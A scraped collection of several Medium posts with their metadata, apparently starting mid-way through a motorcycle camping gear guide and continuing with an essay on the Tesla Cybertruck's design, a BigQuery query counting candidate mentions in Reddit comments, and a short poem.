This this tent I use.: Quechua quick hiker II. The perfect two man layout. Not the smallest pack size but the price to performance ratio is unbeatable. Foto from Decathlon where I purchased it.
The Quechua Quickhiker tent in the picture is a great option for the more budget conscious. Other good tents are the MSR Hubba Hubba and the Nordisk Telemark 2 but these are both more expensive tents.
Sleeping mat
The advice here is similar: Don’t get the biggest without thinking about it and focus on pack volume, rather than weight. Because of the volume requirement inflatable type mats are always the best bet except when camping often in terrain with very sharp rocks where self inflatable might still be advisable. In all other cases: Get an inflatable mat. And most crucially: Get the highest quality mat you are willing to afford. Child toy like inflatable mats allow the air in them to circulate freely which makes the mat a convection heat exchanger sucking the heat out of your body. In other words: Cheap mats are very cold to sleep on. The more expensive ones offer more comfort, more warmth as they prevent free circulation of air and are much less prone to punctures.
All of the more expensive inflatable mats offer an good comfort to pack size ratio. The more compact, the less comfort you get. It’s up to you to choose where you want to compromise. An example of a very compact and light option is the Thermarest Neo Air. By contrast the Exped ‘Deepsleep mat 7.5 M’ is a much more comfortable, but much bulkier option. Exped makes the best mats, by the way, but they tend to be expensive. Thermarest is similar in terms of quality and price. I just use a simple inflatable one from Decathlon because I’m poor.
This is the Termarest neo air mat. Not a lot of space to move around on but very compact.
This gives you an idea of the pack volume of Thermarest lightest version of the neo air mat. It’s tiny! No self inflatable can beat this volume.
Sleeping bag
A choice of sleeping bag is a very personal one. But for those of you who are new to camping I will offer an overview. There are two categories of sleeping bags: Synthetic filled and down filled bags. Also: there are three dimensions of performance: Pack size, temperature level and weight. Again, we will not be looking at weight because all bags which are compact enough are light enough for your bike. As with the mats we will focus on pack volume.
Synthetic bags are cheaper and less delicate. Even when wet they will still offer some warmth. Down bags, by contrast, are more expensive and quite delicate: They need to be kept dry at all times because when wet they will no longer keep you warm. But down bags are much warmer which means the bag is more compact for the same temperature rating. This makes down bags the best choice for bike campers as we typically have much more elaborate means to protect the bag from water compared to backpackers. Our cases or tail packs are more likely to be able to keep a bag dry compare to a backpack with a fiddly rain cover.
You just have to choose a down bag with the right temperature rating that suits the environmental conditions you are likely to encounter. This is very brand dependant so if possible ask advice to a salesman for temperature ratings. Some sleeping bags, however, come with a low quality compression sack, which is an often overlooked but important part of your kit. Investing in a better one is a good idea because a quality compression sack will compress the bag further, reducing pack size and is far, far less likely to rip or tear when on the road. If you rip your sack (stop laughing at the back!) on the road you will have a big issue as it’s very difficult to find a replacement one, forcing you to buy a completely new sleeping bag. | https://medium.com/@dennisvaneecke/motorcycle-adventure-guide-part-ii-the-big-three-of-camping-c00c26cdb73e | ['Dennis Van Eecke'] | 2020-12-27 12:15:58.978000+00:00 | ['Motorcycle', 'Camping Gear', 'Adventure', 'Camping', 'Adventure Travel'] |
The Reasons Behind the Unique Look of Tesla’s Cybertruck | The Tesla Cybertruck. Are there good reasons for the low polygon count?
Many people are shocked by the look of Tesla’s Cybertruck unveiled two days ago on November 21st, 2019. However what few articles or commentators are talking about is exactly why it looks so different.
Many people seem to think it is because Elon Musk just wanted to go crazy and make something looking different for the hell of it. Many people are rejecting the Truck despite its impressive performance characteristics and utility simply because they don’t like the look.
A profound flaw in their thinking is that they assume the crazy look is a kind of unnecessary luxury or indulgence, and that a traditional look would have given it more utility.
However if you actually start to analyze this truck, you realize that the shape is a product of its function. Tesla did not start with: “lets make a truck that looks this crazy and then added features.”
The features and characteristics of the Cybertruck dictated its shape. Form follows function.
The Design Goals that Dictated the Shape of the Cybertruck
Elon Musk has never been satisfied with just making another car or truck which is as good as existing fossil fuel variants, no his goal has always been to make the battery version superior. Otherwise how can you sell electric cars to a public that for a long time thought electric cars were equal to weak and silly little golf course buggies.
Thus when creating a truck, Tesla had to beat everything else that was out there:
It had to be able to pull more load than any other truck. They had to offer more interior and storage space than the competition. They needed long range to be taken serious. It had to be rugged and be able to take a strong beating, if it was to be taken serious as a work vehicle. It had to be affordable.
Material and Design Choices Required to Meet Goals
To pull a heavy load the limiting factor is in fact not the engine itself. The electric motor easily gives enough torque to get the job done. The problem is the frame of the truck itself which will twist and damage under too much load.
In other words having superior capacity in tugging heavy loads requires a superior frame. You need a rigid and strong frame.
That suggests having a body-on-frame design, rather than a unibody design. What is the difference and why?
Difference Between Body-on-Frame and Unibody Design
Let us explain a bit of the terminology. The Frame is the bottom parts onto which to attach the frame and body. The body is typically the painted exterior you see.
Body-on-frame design. The body is placed on top of a chassis.
In a body-on-frame design, the frame and body are separate. In a unibody design they are merged. Body-on-frame is the old way cars were made. The strength and the structure was in the frame. Eventually unibody design were developed where the strength was actually in the combined body and frame. This reduced weight, improved fuel efficiency and improved collision safety.
Unibody design. The body and frame is made into one piece. They are not seprate.
Yet trucks and off-road vehicles typically don’t have unibody design despite its advantages. Why? Because using a separate frame usually makes the vehicle stronger with respect to twists, which matter when going off-roading and hauling heavy loads. It also makes it easier and cheaper to repair a vehicle which matters when the vehicle often takes a heavy beating.
Why Tesla went for Unibody Design
Despite all this, Tesla went for a unibody design. This has to be understood in relation to other design goals. They wanted a spacious vehicle, they needed space for batteries and they needed to keep weight down as is a challenge for all electric cars. With body-on-frame design you loose a lot of space at the bottom, where the frame is. This is exactly where you want to be able to place the batteries.
So how do you overcome the problem of twisting with a unibody design? You go for really strong materials like hard 30X cold-rolled stainless-steel as the Cybertruck uses. This has many benefits. It makes the car rust resistance unlike the mild steel normally used in cars. It makes it much tougher on the outside, which mitigates the need for frequent cheap repairs which typically favors a body-on-frame design.
Why the Triangular Look?
In construction triangles are known as one of the strongest geometric shapes in addition to archs. The triangles give the truck a lot of strength. Remember the body itself has to give the truck strength given that there is no frame underneath the body.
A second reason is aerodynamics. The overall trianglular shape of the Cybertruck follows the shape of an Aerofoil cross section much more closely than a traditional truck. This gives less air resistance and is important for any electric vehicle aiming for long range.
Consequences of cold-rolled stainless-steel choice
However this choice affects a lot of the rest of the truck. There are good reasons few cars are made in stainless steel. The last car which did that was the DeLorean, the car famously seen in the back to the future movies.
Last famous car made in stainless steel, the DeLorean made famous in the “Back to the Future” movies.
Stainless-steel is hard to paint and hard to shape. That is why the smooth curves you normally see on modern cars is entirely missing from the Cybertruck cannot easily be done using stainless steel. DeLorean actually kind of cheated by using a thin sheet of stainless steel, which is not what the Cybertruck is doing.
Elon Musk explains why the Cybertruck cannot have the soft curves of “normal” cares. The steel alloy used is simply to hard to shape that way.
To get an idea of just how strong the steel alloy used in the Cybertruck is, consider this tweet by Elon Musk:
Because it is unibody and needs strength to pull, the Cybertruck can e.g. not have an L-shaped bed in the back as most trucks. Due to the stainless steel it cannot have smooth curves. That is why you see tough military vehicles with thick steel plates have rigid lines.
With these design constraints Tesla had to make some hard choices about the exterior design. They could not make it look like anything they wanted. They could have made it look like something like the Humvee/Hummer or some other military vehicle.
Notice how the hummer has a lot of the same kind of angled and straight lined look as the Cybertruck. Would people have preferred this look? I don’t think so.
Instead they opted to make it look like a futuristic military vehicle. I personally think that was a smart choice. If you made a military look it would only have appealed to people who like military look.
With this design they can appeal to both military guys as well as tech fans who frequently love science fiction. A lot of the Tesla followers are also fans of space exploration through Elon Musk’s other venture, SpaceX. Here was an opportunity to create a tie in with things like Mars rovers.
Where Tesla went wrong
I think the problem is Tesla isn’t really telling this story. Hence people think Elon Musk went for the Mars rover look simply because he thought it was cool. For gruff guys who want a workhorse that just does the job, is suspect that is a turnoff. Any suggestion that form is selected over function is a turnoff for them.
What Tesla needs to make clear is that in fact all those features people love about the Cybertruck, such as lots of interior space, pulling heavy loads and low price is directly connected to its unconventional look.
By using steel rather than aluminum as electric cars normally do, you reduce price. By using unibody you reduce weight and increase range. You also increase interior space.
The Solar Advantage
Another advantage which is not mentioned frequently is that the large flat angled area on the back of the truck is an excellent opportunity for a large solar panel. In fact Elon Musk confirms in a tweet that solar panels will be an option.
For a normal car there would be no obvious place to place such a large solar panel. With this design the truck can charge enough electricity for a 24 km (15 mile) drive each day. The average American drives 46 km (30 miles) per day. Hence you get half your drive charged on solar panels. That is pretty good.
Summary
The Cybertruck looks weird because it has to, given its design constraints. A unibody design of hard stainless steel does not allow you to make something that looks like a regular truck. Unibody stainless steel is needed to compensate for the extra weight and space required for batteries. It is also a way to give the truck advantages over other trucks such as superior load pulling, tough exterior and superior internal space.
Some holdouts are like “When Tesla sees the reaction they will probably modify the design and make a more traditional looking mass market version.”
People saying that simply don’t understand why it looks the way it does. They think it is a purely esthetic choice. The problem is that if Tesla should go back on their design and create another version it simply could not have the features and advantages of the Cybertruck. In this case, form follows function. | https://medium.com/@erik-engheim/the-reasons-behind-the-unique-look-of-teslas-cybertruck-30556da23a4a | ['Erik Engheim'] | 2019-11-27 12:05:42.273000+00:00 | ['Tesla', 'Pickup Trucks', 'Electric Car', 'Elon Musk', 'Cybertruck'] |
Reddit’s presidential race: Candidate mentions in comments | Update: Reddit’s Upvoted made a full feature on this chart with added commentaries: https://upvoted.com/2015/11/14/which-2016-presidential-candidates-are-redditors-talking-about/
Quick visualization while flying between countries, updated with reddit’s October data thanks to /u/stuck_in_the_matrix:
# of comments mentioning candidate
The BigQuery query:
SELECT DATE(USEC_TO_TIMESTAMP(UTC_USEC_TO_WEEK(created_utc*1000*1000,1))) week, SUM(body CONTAINS "Bernie Sanders") BernieSanders,SUM(body CONTAINS "Ben Carson") BenCarson,SUM(body CONTAINS "Hillary Clinton") HillaryClinton,SUM(body CONTAINS "Donald Trump") DonaldTrump,SUM(body CONTAINS "Rand Paul") RandPaul,SUM(body CONTAINS "Jim Webb") JimWebb,SUM(body CONTAINS "Ted Cruz") TedCruz,SUM(body CONTAINS "Jeb Bush") JebBush,SUM(body CONTAINS "Paul Ryan") PaulRyan,SUM(body CONTAINS "Marco Rubio") MarcoRubio,SUM(body CONTAINS "Chris Christie") ChrisChristie,SUM(body CONTAINS "Carly Fiorina") CarlyFiorina FROM TABLE_QUERY([fh-bigquery:reddit_comments], 'REGEXP_MATCH(table_id, "2015_..$")')
GROUP BY 1
ORDER BY 1
Find more data and topics like these on reddit.com/r/bigquery, or follow me at @felipehoffa.
Update: Reddit’s Upvoted made a full feature on this chart with added commentaries: | https://medium.com/google-cloud/reddit-s-presidential-race-candidate-mentions-in-comment-1f9fd6a7985a | ['Felipe Hoffa'] | 2015-11-16 03:26:05.135000+00:00 | ['Visualization', '2016 Election', 'Reddit'] |
Flesh And Soul | Flesh and soul
knitted together in the womb
intertwined
inseparable
unique
a daily miracle
life | https://medium.com/mark-starlin-writes/flesh-and-soul-f6d42b255ff9 | ['Mark Starlin'] | 2020-11-06 12:01:09.464000+00:00 | ['Miracles', 'Poetry', 'Life', 'Baby', 'Soul'] |
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